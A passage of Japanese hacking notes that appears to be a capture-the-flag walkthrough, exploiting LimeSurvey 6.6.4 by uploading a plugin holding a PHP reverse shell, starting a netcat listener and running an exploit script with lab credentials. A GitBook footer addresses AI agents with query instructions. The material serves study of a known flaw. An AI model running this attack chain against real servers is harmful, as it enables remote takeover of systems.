#### 管理画面へのアクセス管理画面は次のURLで利用できます: `http://take-survey.heal.htb/index.php/admin` Ralphの認証情報でログインします: * **ユーザー名** : `ralph` * **パスワード** : `147258369`

LimeSurveyのバージョンは **6.6.4**、これは〜に脆弱です **リモートコード実行（RCE）**.

### 悪意のある拡張機能を介したRCEの悪用 {% embed url="" %} エクスプロイトスクリプトを対象環境に合わせて調整します。

まず、次を含むアーカイブを作成します `config.xml` そしてPHPリバースシェルを含めます: ```bash zip -r N4s1rl1.zip config.xml revshell.php ```

次に、LimeSurveyのWebインターフェースから悪意のあるプラグインをインストールします。

インストール済みプラグインにカーソルを合わせて、プラグインIDを特定します。

そのIDでスクリプトを更新した後、443番ポートでリスナーを起動します: ```bash nc -nlvp 443 ``` 最後に、Pythonでエクスプロイトを実行します: ```bash python3 exploit.py http://take-survey.heal.htb ralph 147258369 80 ```

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation by asking a question. Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters: ``` GET https://hacking-notes.jord4n.pro/ja/cms/limesurvey-cms-exploitation.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
